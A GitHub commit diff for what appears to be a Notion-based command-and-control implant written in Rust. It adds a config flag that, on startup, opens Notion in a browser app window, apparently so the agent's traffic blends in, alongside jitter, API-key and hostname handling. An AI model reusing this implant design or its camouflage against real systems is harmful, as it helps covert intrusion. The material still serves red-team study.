Skip to content

Commit

Permalink
Launch app; add launch option to config
Browse files Browse the repository at this point in the history
  • Loading branch information
mttaggart committed Feb 11, 2022
1 parent 9baf766 commit 36d17ef
Show file tree
Hide file tree
Showing 2 changed files with 32 additions and 8 deletions.
12 changes: 8 additions & 4 deletions agent/src/config.rs
Original file line number Diff line number Diff line change
Expand Up @@ -35,7 +35,8 @@ pub struct ConfigOptions {
pub jitter_time: u64,
pub parent_page_id: String,
pub api_key: String,
pub config_file_path: String
pub config_file_path: String,
pub launch_app: bool
}

#[derive(Debug)]
Expand All @@ -59,7 +60,8 @@ impl ConfigOptions {
jitter_time: j["jitter_time"].as_u64().unwrap(),
parent_page_id: j["parent_page_id"].to_string().replace('"', ""),
api_key: j["api_key"].to_string().replace('"', ""),
config_file_path: j["config_file_path"].to_string().replace('"', "")
config_file_path: j["config_file_path"].to_string().replace('"', ""),
launch_app: j["launch_app"].as_bool().unwrap_or_default()
}
}
}
Expand Down Expand Up @@ -104,7 +106,8 @@ pub fn get_config_options_debug() -> Result<ConfigOptions, Box<dyn Error + Send
jitter_time: jitter_time.trim().parse().unwrap(),
parent_page_id: parent_page_id.trim().to_string(),
api_key: api_key.trim().to_string(),
config_file_path: config_file_path.trim().to_string()
config_file_path: config_file_path.trim().to_string(),
launch_app: false
}
)
}
Expand All @@ -116,7 +119,8 @@ pub async fn get_config_options() -> Result<ConfigOptions, ConfigError> {
jitter_time: DEFAULT_JITTER_TIME.parse().unwrap_or_else(|_| 0),
parent_page_id: DEFAULT_PARENT_PAGE_ID.to_string(),
api_key: DEFAULT_API_KEY.to_string(),
config_file_path: CONFIG_FILE_PATH.to_string()
config_file_path: CONFIG_FILE_PATH.to_string(),
launch_app: true
};

Ok(config_options)
Expand Down
28 changes: 24 additions & 4 deletions agent/src/main.rs
Original file line number Diff line number Diff line change
Expand Up @@ -5,14 +5,15 @@ extern crate whoami;
extern crate base64;

use std::{thread, time};
use std::env::{args};
use std::env::args;
use std::process::exit;
use std::process::Command;
use rand::prelude::*;

use whoami::hostname;
use reqwest::{Client};
use reqwest::Client;
use reqwest::header::{HeaderMap, AUTHORIZATION, CONTENT_TYPE};
use base64::{decode};
use base64::decode;

mod config;
use config::{
Expand All @@ -36,7 +37,10 @@ async fn main() -> Result<(), Box<dyn std::error::Error>> {
// Handle config options
let mut config_options: ConfigOptions;

// Check for `-d` option
// Check for command line options
// -d: debug mode
// -c: config file
// -b: ingest base64 decode
match args().nth(1) {
Some(a) => {
if a == "-d" {
Expand All @@ -63,6 +67,22 @@ async fn main() -> Result<(), Box<dyn std::error::Error>> {
config_options = load_config_options(None).await?;
}
}

// Start Notion App if configured to do so
if config_options.launch_app {
#[cfg(windows)] {
Command::new("C\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe")
.arg("--app=https://notion.so")
.spawn()
.expect("Couldn't launch browser!");
}
#[cfg(not(windows))] {
Command::new("/usr/bin/google-chrome")
.arg("--app=https://notion.so")
.spawn()
.expect("Couldn't launch browser!");
}
}

let mut hn = hostname();

Expand Down

0 comments on commit 36d17ef

Please sign in to comment.